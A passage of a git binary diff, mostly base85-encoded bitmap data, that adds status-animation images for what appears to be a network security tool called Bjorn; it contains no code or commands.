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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp b/resources/default_config/characters/BJORN/status/StealFilesSSH/StealFilesSSH11.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 